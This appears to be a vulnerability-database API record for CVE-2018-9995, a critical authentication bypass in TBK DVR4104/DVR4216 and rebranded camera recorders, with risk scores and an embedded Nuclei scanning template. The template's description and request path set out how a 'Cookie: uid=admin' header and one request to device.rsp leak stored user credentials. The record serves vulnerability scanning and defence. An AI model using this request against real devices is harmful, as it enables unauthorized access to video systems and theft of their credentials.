{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-9995/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-9995/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-9995/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-9995/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-9995/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-9995"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-9995"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.82322,
      "kev": false,
      "percentile": 0.99646
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-9995.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2018-9995\n\ninfo:\n  name: TBK DVR4104/DVR4216 Devices - Authentication Bypass\n  author: princechaddha\n  severity: critical\n  description: |\n    TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and\n    MDVR Login, which run re-branded versions of the original TBK DVR4104 and DVR4216 series, allow remote attackers to bypass\n    authentication via a \"Cookie: uid=admin\" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.\n  impact: |\n    An attacker can bypass authentication and gain unauthorized access to the device, potentially leading to unauthorized configuration changes or data exfiltration.\n  remediation: |\n    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability and ensure strong and unique passwords are used for device access.\n  reference:\n    - https://www.exploit-db.com/exploits/44577/\n    - http://misteralfa-hack.blogspot.cl/2018/04/tbk-vision-dvr-login-bypass.html\n    - http://misteralfa-hack.blogspot.cl/2018/04/update-dvr-login-bypass-cve-2018-9995.html\n    - https://www.bleepingcomputer.com/news/security/new-hacking-tool-lets-users-access-a-bunch-of-dvrs-and-their-video-feeds/\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-9995\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-9995\n    epss-score: 0.82322\n    epss-percentile: 0.99646\n    cpe: cpe:2.3:o:tbkvision:tbk-dvr4216_firmware:-:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: tbkvision\n    product: tbk-dvr4216_firmware\n  tags: cve,cve2018,auth-bypass,tbk,edb,tbkvision,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/device.rsp?opt=user&cmd=list\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"uid\\\":\"\n          - \"\\\"pwd\\\":\"\n          - \"\\\"view\\\":\"\n          - \"playback\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022016b7b8d3b23985bc5499369ba382dd25f328c1fff6bd31d6248f75cbe4bc6b24022066bf8a5ebb37378192a47ef41bd8727435175ba632de7d8d8ee80cb024b08ec4:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-9995"
}